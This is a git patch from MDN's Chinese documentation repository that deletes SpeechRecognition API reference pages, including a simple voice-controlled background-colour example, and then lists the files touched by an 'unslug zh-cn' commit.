{{domxref("SpeechRecognition.SpeechRecognition()")}}
-
Creates a new SpeechRecognition object.
-
- -

Properties

- -

SpeechRecognition also inherits properties from its parent interface, {{domxref("EventTarget")}}.

- -
-
{{domxref("SpeechRecognition.grammars")}}
-
Returns and sets a collection of {{domxref("SpeechGrammar")}} objects that represent the grammars that will be understood by the current SpeechRecognition.
-
{{domxref("SpeechRecognition.lang")}}
-
Returns and sets the language of the current SpeechRecognition. If not specified, this defaults to the HTML {{htmlattrxref("lang","html")}} attribute value, or the user agent's language setting if that isn't set either.
-
{{domxref("SpeechRecognition.continuous")}}
-
Controls whether continuous results are returned for each recognition, or only a single result. Defaults to single (false.)
-
{{domxref("SpeechRecognition.interimResults")}}
-
Controls whether interim results should be returned (true) or not (false.) Interim results are results that are not yet final (e.g. the {{domxref("SpeechRecognitionResult.isFinal")}} property is false.)
-
{{domxref("SpeechRecognition.maxAlternatives")}}
-
Sets the maximum number of {{domxref("SpeechRecognitionAlternative")}}s provided per result. The default value is 1.
-
{{domxref("SpeechRecognition.serviceURI")}}
-
Specifies the location of the speech recognition service used by the current SpeechRecognition to handle the actual recognition. The default is the user agent's default speech service.
-
- -
-
- -

Methods

- -

SpeechRecognition also inherits methods from its parent interface, {{domxref("EventTarget")}}.

- -
-
{{domxref("SpeechRecognition.abort()")}}
-
Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.
-
{{domxref("SpeechRecognition.start()")}}
-
Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
-
{{domxref("SpeechRecognition.stop()")}}
-
Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.
-
- -

Events

- -

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

- -
-
audiostart
-
Fired when the user agent has started to capture audio.
- Also available via the onaudiostart property.
-
audioend
-
Fired when the user agent has finished capturing audio.
- Also available via the onaudioend property.
-
end
-
Fired when the speech recognition service has disconnected.
- Also available via the onend property.
-
error
-
Fired when a speech recognition error occurs.
- Also available via the onerror property.
-
nomatch
-
Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.
- Also available via the onnomatch property.
-
result
-
Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
- Also available via the onresult property.
-
soundstart
-
Fired when any sound — recognisable speech or not — has been detected.
- Also available via the onsoundstart property.
-
soundend
-
Fired when any sound — recognisable speech or not — has stopped being detected.
- Also available via the onsoundend property.
-
speechstart
-
Fired when sound that is recognised by the speech recognition service as speech has been detected.
- Also available via the onspeechstart property.
-
speechend
-
Fired when speech recognised by the speech recognition service has stopped being detected.
- Also available via the onspeechend property.
-
start
-
Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
- Also available via the onstart property.
-
- -

Examples

- -

In our simple Speech color changer example, we create a new SpeechRecognition object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the SpeechRecognition instance using the {{domxref("SpeechRecognition.grammars")}} property.

- -

After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.

- -
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
-var recognition = new SpeechRecognition();
-var speechRecognitionList = new SpeechGrammarList();
-speechRecognitionList.addFromString(grammar, 1);
-recognition.grammars = speechRecognitionList;
-//recognition.continuous = false;
-recognition.lang = 'en-US';
-recognition.interimResults = false;
-recognition.maxAlternatives = 1;
-
-var diagnostic = document.querySelector('.output');
-var bg = document.querySelector('html');
-
-document.body.onclick = function() {
-  recognition.start();
-  console.log('Ready to receive a color command.');
-}
-
-recognition.onresult = function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color;
-  bg.style.backgroundColor = color;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}{{Spec2('Web Speech API')}} 
- -

Browser compatibility

- - - -

{{Compat("api.SpeechRecognition")}}

- -

See also

- - diff --git "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" deleted file mode 100644 index d6415441f3..0000000000 --- "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'SpeechRecognition: result event' -slug: Web/API/语音识别/result_event -translation_of: Web/API/SpeechRecognition/result_event ---- -
{{APIRef("Web Speech API")}} {{SeeCompatTable}}
- -

The result event of the Web Speech API is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableNo
Interface{{domxref("SpeechRecognitionEvent")}}
Event handler propertyonresult
- -

Examples

- -

This code is excerpted from our Speech color changer example.

- -

You can use the result event in an addEventListener method:

- -
var recognition = new webkitSpeechRecognition() || new SpeechRecognition();
-
-recognition.addEventListener('result', function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color + '.';
-  bg.style.backgroundColor = color;
-});
-
- -

Or use the onresult event handler property:

- -
recognition.onresult = function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color + '.';
-  bg.style.backgroundColor = color;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-events', 'speech recognition events')}}{{Spec2('Web Speech API')}} 
- -

Browser compatibility

- -
- - -

{{Compat("api.SpeechRecognition.result_event")}}

-
- -

See also

- - -- cgit v1.2.3-54-g00ecf From fc56124ac4eda6b3f0349c8a16fa750f27b4c7d6 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 12:56:53 +0100 Subject: unslug zh-cn: modify --- files/zh-cn/_redirects.txt | 1107 +- files/zh-cn/_wikihistory.json | 32758 +++++++++---------- files/zh-cn/conflicting/glossary/chrome/index.html | 3 +- .../zh-cn/conflicting/glossary/doctype/index.html | 3 +- .../conflicting/learn/common_questions/index.html | 3 +- .../cascade_and_inheritance/index.html | 3 +- .../learn/css/building_blocks/index.html | 3 +- .../learn/css/building_blocks/selectors/index.html | 3 +- .../css/building_blocks/styling_tables/index.html | 3 +- .../building_blocks/values_and_units/index.html | 3 +- .../conflicting/learn/css/css_layout/index.html | 3 +- .../first_steps/how_css_is_structured/index.html | 3 +- .../learn/css/first_steps/how_css_works/index.html | 3 +- .../index.html | 6 +- .../index.html | 4 +- .../conflicting/learn/css/first_steps/index.html | 5 +- .../learn/css/styling_text/fundamentals/index.html | 5 +- .../index.html | 4 +- .../css/styling_text/styling_lists/index.html | 3 +- .../javascript_basics/index.html | 3 +- .../creating_hyperlinks/index.html | 3 +- .../video_and_audio_content/index.html | 3 +- files/zh-cn/conflicting/learn/index.html | 3 +- .../manipulating_documents/index.html | 3 +- .../learn/javascript/objects/index.html | 3 +- .../learn/server-side/django/index.html | 3 +- .../index.html | 3 +- files/zh-cn/conflicting/mdn/contribute/index.html | 7 +- .../mdn/guidelines/css_style_guide/index.html | 3 +- .../webextensions/user_interface/index.html | 3 +- .../tools/keyboard_shortcuts/index.html | 3 +- .../zh-cn/conflicting/tools/performance/index.html | 3 +- .../zh-cn/conflicting/web/accessibility/index.html | 3 +- .../web/api/canvas_api/tutorial/index.html | 3 +- .../web/api/crypto/getrandomvalues/index.html | 3 +- .../web/api/document/characterset/index.html | 3 +- .../web/api/document/createevent/index.html | 3 +- .../web/api/document/hasfocus/index.html | 3 +- .../web/api/document_object_model/index.html | 3 +- .../index.html | 3 +- .../elementfrompoint/index.html | 3 +- .../elementsfrompoint/index.html | 3 +- .../documentorshadowroot/getselection/index.html | 3 +- .../documentorshadowroot/stylesheets/index.html | 3 +- .../zh-cn/conflicting/web/api/dommatrix/index.html | 3 +- files/zh-cn/conflicting/web/api/element/index.html | 3 +- .../web/api/event/composedpath/index.html | 3 +- .../api/eventtarget/addeventlistener/index.html | 3 +- .../web/api/eventtarget/dispatchevent/index.html | 3 +- .../api/eventtarget/removeeventlistener/index.html | 3 +- .../introduction/index.html | 3 +- .../conflicting/web/api/geolocation/index.html | 3 +- .../ongotpointercapture/index.html | 3 +- .../api/globaleventhandlers/onmouseup/index.html | 3 +- .../api/globaleventhandlers/onscroll/index.html | 3 +- .../api/globaleventhandlers/ontouchmove/index.html | 3 +- .../web/api/htmlelement/outertext/index.html | 3 +- .../web/api/htmlinputelement/index.html | 3 +- .../api/htmlmediaelement/abort_event/index.html | 3 +- files/zh-cn/conflicting/web/api/index.html | 3 +- .../web/api/mouseevent/altkey/index.html | 3 +- .../web/api/mouseevent/button/index.html | 3 +- .../web/api/mouseevent/relatedtarget/index.html | 3 +- .../web/api/mouseevent/shiftkey/index.html | 3 +- .../web/api/node/getrootnode/index.html | 3 +- files/zh-cn/conflicting/web/api/node/index.html | 3 +- .../index.html | 3 +- .../zh-cn/conflicting/web/api/push_api/index.html | 3 +- files/zh-cn/conflicting/web/api/url/index.html | 3 +- .../conflicting/web/api/web_storage_api/index.html | 3 +- .../conflicting/web/api/webrtc_api/index.html | 3 +- .../web/api/webrtc_api/protocols/index.html | 3 +- .../signaling_and_video_calling/index.html | 3 +- .../index.html | 3 +- .../web/api/window/localstorage/index.html | 3 +- .../conflicting/web/api/window/moveto/index.html | 3 +- .../index.html | 3 +- .../zh-cn/conflicting/web/css/@viewport/index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- .../zh-cn/conflicting/web/css/_colon_is/index.html | 7 +- .../web/css/_colon_placeholder-shown/index.html | 7 +- .../web/css/_doublecolon_placeholder/index.html | 7 +- .../web/css/css_backgrounds_and_borders/index.html | 3 +- .../resizing_background_images/index.html | 3 +- .../using_multiple_backgrounds/index.html | 3 +- .../zh-cn/conflicting/web/css/css_color/index.html | 3 +- .../backwards_compatibility_of_flexbox/index.html | 3 +- .../basic_concepts_of_flexbox/index.html | 3 +- .../typical_use_cases_of_flexbox/index.html | 3 +- .../conflicting/web/css/easing-function/index.html | 3 +- .../conflicting/web/guide/html/html5/index.html | 3 +- files/zh-cn/conflicting/web/guide/index.html | 3 +- .../zh-cn/conflicting/web/guide/mobile/index.html | 3 +- .../zh-cn/conflicting/web/html/element/index.html | 3 +- .../html/quirks_mode_and_standards_mode/index.html | 3 +- files/zh-cn/conflicting/web/http/cors/index.html | 3 +- files/zh-cn/conflicting/web/http/csp/index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- files/zh-cn/conflicting/web/http/status/index.html | 3 +- .../web/javascript/guide/introduction/index.html | 3 +- .../index.html | 3 +- .../regular_expressions/assertions/index.html | 3 +- .../global_objects/arraybuffer/index.html | 3 +- .../reference/global_objects/boolean/index.html | 3 +- .../reference/global_objects/dataview/index.html | 3 +- .../reference/global_objects/date/index.html | 3 +- .../reference/global_objects/error/index.html | 3 +- .../reference/global_objects/evalerror/index.html | 3 +- .../reference/global_objects/function/index.html | 3 +- .../global_objects/generatorfunction/index.html | 3 +- .../global_objects/intl/datetimeformat/index.html | 3 +- .../reference/global_objects/map/index.html | 3 +- .../reference/global_objects/number/index.html | 3 +- .../reference/global_objects/object/index.html | 3 +- .../reference/global_objects/promise/index.html | 3 +- .../global_objects/proxy/proxy/index.html | 3 +- .../reference/global_objects/rangeerror/index.html | 3 +- .../global_objects/referenceerror/index.html | 3 +- .../reference/global_objects/regexp/index.html | 3 +- .../global_objects/sharedarraybuffer/index.html | 3 +- .../reference/global_objects/string/index.html | 3 +- .../reference/global_objects/symbol/index.html | 3 +- .../global_objects/syntaxerror/index.html | 3 +- .../reference/global_objects/typedarray/index.html | 3 +- .../reference/global_objects/typeerror/index.html | 3 +- .../reference/global_objects/urierror/index.html | 3 +- .../reference/global_objects/weakmap/index.html | 3 +- .../reference/global_objects/weakset/index.html | 3 +- .../reference/lexical_grammar/index.html | 3 +- .../web/javascript/reference/operators/index.html | 3 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../reference/statements/switch/index.html | 3 +- .../zh-cn/conflicting/web/media/formats/index.html | 5 +- .../web/progressive_web_apps/index.html | 3 +- .../progressive_web_apps/introduction/index.html | 3 +- .../responsive_design_building_blocks/index.html | 4 +- .../index.html | 3 +- .../index.html | 3 +- .../web/web_components/using_shadow_dom/index.html | 3 +- .../index.html | 3 +- files/zh-cn/games/introduction/index.html | 3 +- .../index.html | 3 +- .../publishing_games/game_monetization/index.html | 3 +- .../control_mechanisms/mobile_touch/index.html | 3 +- .../finishing_up/index.html | 3 +- .../mouse_controls/index.html | 3 +- files/zh-cn/glossary/abstraction/index.html | 3 +- files/zh-cn/glossary/algorithm/index.html | 3 +- files/zh-cn/glossary/arpa/index.html | 3 +- files/zh-cn/glossary/asynchronous/index.html | 3 +- files/zh-cn/glossary/base64/index.html | 3 +- files/zh-cn/glossary/baseline/index.html | 3 +- files/zh-cn/glossary/browser/index.html | 3 +- files/zh-cn/glossary/card_sorting/index.html | 3 +- files/zh-cn/glossary/character_encoding/index.html | 3 +- files/zh-cn/glossary/compile/index.html | 3 +- files/zh-cn/glossary/compile_time/index.html | 3 +- files/zh-cn/glossary/cross_axis/index.html | 3 +- files/zh-cn/glossary/database/index.html | 3 +- files/zh-cn/glossary/dhtml/index.html | 3 +- .../zh-cn/glossary/digital_certificate/index.html | 3 +- files/zh-cn/glossary/domain_name/index.html | 3 +- files/zh-cn/glossary/element/index.html | 3 +- files/zh-cn/glossary/empty_element/index.html | 3 +- .../glossary/forbidden_header_name/index.html | 3 +- files/zh-cn/glossary/general_header/index.html | 3 +- .../zh-cn/glossary/graceful_degradation/index.html | 3 +- files/zh-cn/glossary/http_header/index.html | 3 +- files/zh-cn/glossary/idempotent/index.html | 3 +- files/zh-cn/glossary/iife/index.html | 3 +- files/zh-cn/glossary/ip_address/index.html | 3 +- files/zh-cn/glossary/localization/index.html | 3 +- files/zh-cn/glossary/main_axis/index.html | 3 +- files/zh-cn/glossary/oop/index.html | 3 +- files/zh-cn/glossary/origin/index.html | 3 +- .../glossary/progressive_enhancement/index.html | 3 +- files/zh-cn/glossary/proxy_server/index.html | 3 +- files/zh-cn/glossary/pseudo-class/index.html | 3 +- files/zh-cn/glossary/request_header/index.html | 3 +- files/zh-cn/glossary/semantics/index.html | 3 +- files/zh-cn/glossary/serialization/index.html | 3 +- files/zh-cn/glossary/simple_header/index.html | 3 +- files/zh-cn/glossary/sloppy_mode/index.html | 3 +- .../zh-cn/glossary/speculative_parsing/index.html | 3 +- files/zh-cn/glossary/time_to_first_byte/index.html | 3 +- files/zh-cn/glossary/type_conversion/index.html | 3 +- files/zh-cn/glossary/xhtml/index.html | 3 +- .../accessibility/css_and_javascript/index.html | 3 +- files/zh-cn/learn/accessibility/html/index.html | 3 +- .../learn/accessibility/multimedia/index.html | 3 +- .../available_text_editors/index.html | 3 +- .../how_does_the_internet_work/index.html | 3 +- .../what_are_browser_developer_tools/index.html | 3 +- .../building_blocks/a_cool_looking_box/index.html | 3 +- .../creating_fancy_letterheaded_paper/index.html | 3 +- .../fundamental_css_comprehension/index.html | 3 +- .../handling_different_text_directions/index.html | 3 +- .../css_layout/legacy_layout_methods/index.html | 3 +- .../learn/css/css_layout/positioning/index.html | 3 +- .../css/first_steps/getting_started/index.html | 3 +- .../learn/css/first_steps/how_css_works/index.html | 3 +- files/zh-cn/learn/css/howto/css_faq/index.html | 3 +- .../learn/css/howto/generated_content/index.html | 3 +- .../learn/css/styling_text/fundamentals/index.html | 3 +- files/zh-cn/learn/css/styling_text/index.html | 3 +- .../css/styling_text/styling_links/index.html | 3 +- .../css/styling_text/styling_lists/index.html | 3 +- .../styling_text/typesetting_a_homepage/index.html | 3 +- .../learn/css/styling_text/web_fonts/index.html | 3 +- .../learn/forms/advanced_form_styling/index.html | 3 +- .../forms/basic_native_form_controls/index.html | 3 +- files/zh-cn/learn/forms/form_validation/index.html | 3 +- .../example_1/index.html | 3 +- .../example_2/index.html | 3 +- .../example_3/index.html | 3 +- .../example_4/index.html | 3 +- .../how_to_build_custom_form_controls/index.html | 3 +- .../forms/how_to_structure_a_web_form/index.html | 3 +- .../forms/html_forms_in_legacy_browsers/index.html | 3 +- files/zh-cn/learn/forms/index.html | 3 +- .../index.html | 3 +- .../sending_and_retrieving_form_data/index.html | 3 +- .../sending_forms_through_javascript/index.html | 3 +- .../zh-cn/learn/forms/styling_web_forms/index.html | 3 +- files/zh-cn/learn/forms/your_first_form/index.html | 3 +- .../author_fast-loading_html_pages/index.html | 3 +- .../html/howto/use_data_attributes/index.html | 3 +- .../document_and_website_structure/index.html | 3 +- .../other_embedding_technologies/index.html | 3 +- .../javascript/asynchronous/async_await/index.html | 5 +- .../choosing_the_right_approach/index.html | 3 +- .../javascript/asynchronous/concepts/index.html | 3 +- .../zh-cn/learn/javascript/asynchronous/index.html | 3 +- .../javascript/asynchronous/introducing/index.html | 3 +- .../javascript/asynchronous/promises/index.html | 3 +- .../asynchronous/timeouts_and_intervals/index.html | 3 +- .../building_blocks/image_gallery/index.html | 3 +- .../adding_bouncing_balls_features/index.html | 3 +- .../index.html | 5 +- .../performance/perceived_performance/index.html | 3 +- .../configuring_server_mime_types/index.html | 3 +- .../learn/server-side/django/admin_site/index.html | 3 +- .../django/development_environment/index.html | 3 +- .../learn/server-side/django/home_page/index.html | 3 +- .../introduction/index.html | 3 +- .../cross_browser_testing/accessibility/index.html | 3 +- .../testing_strategies/index.html | 3 +- files/zh-cn/mdn/at_ten/index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- .../guidelines/does_this_belong_on_mdn/index.html | 3 +- .../mdn/guidelines/writing_style_guide/index.html | 3 +- .../macros/commonly-used_macros/index.html | 3 +- files/zh-cn/mdn/yari/index.html | 3 +- .../add-ons/webextensions/api/clipboard/index.html | 3 +- .../api/clipboard/setimagedata/index.html | 3 +- .../api/devtools/inspectedwindow/index.html | 3 +- .../add-ons/webextensions/api/menus/index.html | 3 +- .../webextensions/api/tabs/query/index.html | 3 +- .../build_a_cross_browser_extension/index.html | 3 +- .../implement_a_settings_page/index.html | 3 +- .../manifest.json/homepage_url/index.html | 3 +- .../user_interface/sidebars/index.html | 3 +- .../your_second_webextension/index.html | 3 +- .../releases/19/site_compatibility/index.html | 3 +- .../releases/21/site_compatibility/index.html | 3 +- .../releases/23/site_compatibility/index.html | 3 +- .../releases/24/site_compatibility/index.html | 3 +- .../releases/3/updating_extensions/index.html | 3 +- .../zh-cn/orphaned/example_2_-_using_ul/index.html | 3 +- .../games/tools/engines_and_tools/index.html | 3 +- .../orphaned/glossary_of_translation/index.html | 3 +- .../orphaned/learn/how_to_contribute/index.html | 3 +- .../learn/html/forms/html5_updates/index.html | 3 +- .../learn/html/forms_and_buttons/index.html | 3 +- .../mdn/community/conversations/index.html | 3 +- .../orphaned/mdn/community/doc_sprints/index.html | 3 +- files/zh-cn/orphaned/mdn/community/index.html | 3 +- .../mdn/community/whats_happening/index.html | 3 +- .../mdn/community/working_in_community/index.html | 3 +- .../contribute/howto/be_a_beta_tester/index.html | 3 +- .../howto/create_an_mdn_account/index.html | 3 +- .../howto/do_a_technical_review/index.html | 3 +- .../howto/do_an_editorial_review/index.html | 3 +- .../howto/set_the_summary_for_a_page/index.html | 3 +- .../howto/tag_javascript_pages/index.html | 3 +- .../index.html | 3 +- files/zh-cn/orphaned/mdn/editor/basics/index.html | 3 +- .../mdn/editor/basics/page_controls/index.html | 3 +- .../mdn/editor/basics/page_info/index.html | 3 +- files/zh-cn/orphaned/mdn/editor/index.html | 3 +- .../mdn/editor/keyboard_shortcuts/index.html | 3 +- .../orphaned/mdn/editor/source_mode/index.html | 3 +- .../simple_live_sample_demo/index.html | 3 +- .../package_your_extension_/index.html | 3 +- .../porting_a_google_chrome_extension/index.html | 3 +- .../temporary_installation_in_firefox/index.html | 3 +- .../orphaned/mozilla/mozilla_persona/index.html | 3 +- files/zh-cn/orphaned/tools/add-ons/index.html | 3 +- .../orphaned/web/api/analysernode/fft/index.html | 3 +- .../audiocontext/mozaudiochanneltype/index.html | 3 +- .../api/audionode/connect(audioparam)/index.html | 3 +- .../simple_document.cookie_framework/index.html | 3 +- files/zh-cn/orphaned/web/api/entity/index.html | 3 +- .../orphaned/web/api/fetchobserver/index.html | 3 +- .../zh-cn/orphaned/web/api/msselection/index.html | 3 +- files/zh-cn/orphaned/web/api/namelist/index.html | 3 +- .../index.html" | 3 +- .../orphaned/web/api/notification/sound/index.html | 3 +- .../orphaned/web/api/textrange/text/index.html | 3 +- .../websocket_server_vb.net/index.html | 3 +- .../web/api/window/getattention/index.html | 3 +- .../css/css\345\237\272\347\241\200/index.html" | 5 +- .../zh-cn/orphaned/web/guide/html/html/index.html | 3 +- .../orphaned/web/html/element/command/index.html | 3 +- .../orphaned/web/html/element/element/index.html | 3 +- .../web/html/global_attributes/dropzone/index.html | 3 +- .../index.html" | 3 +- .../index.html" | 3 +- .../global_objects/array/prototype/index.html | 3 +- .../asyncfunction/prototype/index.html | 3 +- .../global_objects/asynciterator/index.html | 3 +- files/zh-cn/orphaned/web/localization/index.html | 3 +- .../information_security_basics/index.html | 3 +- .../orphaned/web/specification_list/index.html | 3 +- .../web_components/status_in_firefox/index.html | 3 +- files/zh-cn/tools/3d_view/index.html | 3 +- files/zh-cn/tools/deprecated_tools/index.html | 3 +- .../page_inspector/how_to/edit_fonts/index.html | 3 +- .../index.html | 3 +- .../zh-cn/tools/responsive_design_mode/index.html | 3 +- files/zh-cn/tools/storage_inspector/index.html | 3 +- files/zh-cn/tools/tips/index.html | 3 +- files/zh-cn/tools/web_audio_editor/index.html | 3 +- .../using_the_aria-hidden_attribute/index.html | 3 +- .../aria/roles/button_role/index.html | 3 +- .../zh-cn/web/api/abortcontroller/abort/index.html | 3 +- .../api/abortcontroller/abortcontroller/index.html | 3 +- files/zh-cn/web/api/abortcontroller/index.html | 3 +- .../zh-cn/web/api/ambient_light_events/index.html | 3 +- .../api/ambientlightsensor/illuminance/index.html | 3 +- .../api/baseaudiocontext/createanalyser/index.html | 3 +- .../baseaudiocontext/createbiquadfilter/index.html | 3 +- .../api/baseaudiocontext/createbuffer/index.html | 3 +- .../baseaudiocontext/createbuffersource/index.html | 3 +- .../createchannelmerger/index.html | 3 +- .../createchannelsplitter/index.html | 3 +- .../baseaudiocontext/createconvolver/index.html | 3 +- .../api/baseaudiocontext/createdelay/index.html | 3 +- .../createscriptprocessor/index.html | 3 +- .../baseaudiocontext/createwaveshaper/index.html | 3 +- .../api/baseaudiocontext/currenttime/index.html | 3 +- .../baseaudiocontext/decodeaudiodata/index.html | 3 +- .../api/baseaudiocontext/destination/index.html | 3 +- .../web/api/baseaudiocontext/listener/index.html | 3 +- .../api/baseaudiocontext/onstatechange/index.html | 3 +- .../web/api/baseaudiocontext/samplerate/index.html | 3 +- .../web/api/baseaudiocontext/state/index.html | 3 +- .../api/broadcastchannel/message_event/index.html | 3 +- .../api/canvascapturemediastreamtrack/index.html | 3 +- .../using_channel_messaging/index.html | 3 +- .../web/api/crypto/getrandomvalues/index.html | 3 +- files/zh-cn/web/api/csspagerule/index.html | 3 +- .../api/devicemotioneventacceleration/index.html | 3 +- files/zh-cn/web/api/document/fullscreen/index.html | 3 +- .../web/api/document/fullscreenenabled/index.html | 3 +- .../api/document/onafterscriptexecute/index.html | 3 +- .../api/document/readystatechange_event/index.html | 3 +- .../web/api/document/touchmove_event/index.html | 3 +- .../index.html | 4 +- .../fullscreenelement/index.html | 3 +- .../pointerlockelement/index.html | 3 +- .../element/afterscriptexecute_event/index.html | 3 +- .../element/beforescriptexecute_event/index.html | 3 +- files/zh-cn/web/api/element/blur_event/index.html | 3 +- .../api/element/compositionend_event/index.html | 3 +- .../api/element/compositionstart_event/index.html | 3 +- .../api/element/compositionupdate_event/index.html | 3 +- files/zh-cn/web/api/element/copy_event/index.html | 3 +- files/zh-cn/web/api/element/cut_event/index.html | 3 +- .../web/api/element/domactivate_event/index.html | 3 +- files/zh-cn/web/api/element/error_event/index.html | 3 +- files/zh-cn/web/api/element/focus_event/index.html | 3 +- .../web/api/element/focusout_event/index.html | 3 +- .../web/api/element/mousewheel_event/index.html | 3 +- files/zh-cn/web/api/element/paste_event/index.html | 3 +- .../web/api/elementcssinlinestyle/style/index.html | 3 +- files/zh-cn/web/api/event/cancelbubble/index.html | 3 +- files/zh-cn/web/api/eventsource/close/index.html | 3 +- .../web/api/eventsource/eventsource/index.html | 3 +- files/zh-cn/web/api/eventsource/index.html | 3 +- files/zh-cn/web/api/eventsource/onerror/index.html | 3 +- files/zh-cn/web/api/eventsource/onopen/index.html | 3 +- .../introduction/index.html | 3 +- .../web/api/filereader/abort_event/index.html | 3 +- files/zh-cn/web/api/formdata/delete/index.html | 3 +- .../zh-cn/web/api/fullscreen_api/guide/index.html | 3 +- files/zh-cn/web/api/geolocation_api/index.html | 3 +- .../api/geolocationposition/timestamp/index.html | 3 +- .../ondurationchange/index.html | 3 +- .../htmlanchorelement/referrerpolicy/index.html | 3 +- .../api/htmlcanvaselement/capturestream/index.html | 3 +- .../zh-cn/web/api/htmlelement/accesskey/index.html | 3 +- .../api/htmlelement/animationend_event/index.html | 3 +- .../htmlelement/animationstart_event/index.html | 3 +- .../web/api/htmlelement/change_event/index.html | 3 +- .../zh-cn/web/api/htmlelement/innertext/index.html | 3 +- .../web/api/htmlelement/input_event/index.html | 3 +- .../api/htmlelement/transitionend_event/index.html | 3 +- .../api/htmlhyperlinkelementutils/hash/index.html | 3 +- .../api/htmlhyperlinkelementutils/href/index.html | 3 +- .../web/api/htmlhyperlinkelementutils/index.html | 3 +- .../htmlhyperlinkelementutils/origin/index.html | 3 +- .../htmlhyperlinkelementutils/password/index.html | 3 +- .../htmlhyperlinkelementutils/pathname/index.html | 3 +- .../htmlhyperlinkelementutils/search/index.html | 3 +- .../htmlhyperlinkelementutils/tostring/index.html | 3 +- .../htmlhyperlinkelementutils/username/index.html | 3 +- .../web/api/htmlorforeignelement/blur/index.html | 3 +- .../api/htmlorforeignelement/dataset/index.html | 3 +- .../web/api/htmlorforeignelement/focus/index.html | 3 +- .../web/api/htmlorforeignelement/nonce/index.html | 3 +- .../api/htmlorforeignelement/tabindex/index.html | 3 +- files/zh-cn/web/api/index/index.html | 3 +- .../timing_element_visibility/index.html | 3 +- .../zh-cn/web/api/mediastream/addtrack/index.html | 3 +- .../using_the_notifications_api/index.html | 3 +- .../offlineaudiocontext/complete_event/index.html | 3 +- .../api/payment_request_api/concepts/index.html | 3 +- files/zh-cn/web/api/payment_request_api/index.html | 3 +- files/zh-cn/web/api/performance/memory/index.html | 3 +- files/zh-cn/web/api/pointer_lock_api/index.html | 3 +- files/zh-cn/web/api/response/clone/index.html | 3 +- .../icecandidate_event/index.html | 3 +- .../using_screen_capture/index.html | 3 +- .../api/selection/deletefromdocument/index.html | 3 +- files/zh-cn/web/api/server-sent_events/index.html | 3 +- .../using_server-sent_events/index.html | 3 +- files/zh-cn/web/api/speechrecognition/index.html | 3 +- .../api/speechrecognition/result_event/index.html | 3 +- .../zh-cn/web/api/streams_api/concepts/index.html | 3 +- .../streams_api/using_readable_streams/index.html | 3 +- files/zh-cn/web/api/uievent/view/index.html | 3 +- files/zh-cn/web/api/url/password/index.html | 3 +- .../api/web_audio_api/best_practices/index.html | 3 +- .../structured_clone_algorithm/index.html | 3 +- .../webglrenderingcontext/polygonoffset/index.html | 3 +- .../web/api/webrtc_api/session_lifetime/index.html | 3 +- .../zh-cn/web/api/websocket/binarytype/index.html | 3 +- .../web/api/window/afterprint_event/index.html | 3 +- .../web/api/window/beforeprint_event/index.html | 3 +- .../web/api/window/beforeunload_event/index.html | 3 +- files/zh-cn/web/api/window/blur/index.html | 3 +- .../api/window/domcontentloaded_event/index.html | 3 +- files/zh-cn/web/api/window/load_event/index.html | 3 +- .../zh-cn/web/api/window/pageshow_event/index.html | 3 +- .../api/window/unhandledrejection_event/index.html | 3 +- files/zh-cn/web/api/window/unload_event/index.html | 3 +- .../windoweventhandlers/onbeforeunload/index.html | 3 +- .../windoweventhandlers/onhashchange/index.html | 3 +- .../api/windoweventhandlers/onpopstate/index.html | 3 +- .../api/windoweventhandlers/onunload/index.html | 3 +- .../api/windoworworkerglobalscope/atob/index.html | 3 +- .../api/windoworworkerglobalscope/btoa/index.html | 3 +- .../clearinterval/index.html | 3 +- .../cleartimeout/index.html | 3 +- .../setinterval/index.html | 3 +- .../settimeout/index.html | 3 +- .../api/xmlhttprequest/loadend_event/index.html | 3 +- .../api/xmlhttprequest/loadstart_event/index.html | 3 +- .../api/xmlhttprequest/progress_event/index.html | 3 +- files/zh-cn/web/api/xmlserializer/index.html | 3 +- files/zh-cn/web/css/_colon_blank/index.html | 5 +- files/zh-cn/web/css/containing_block/index.html | 3 +- 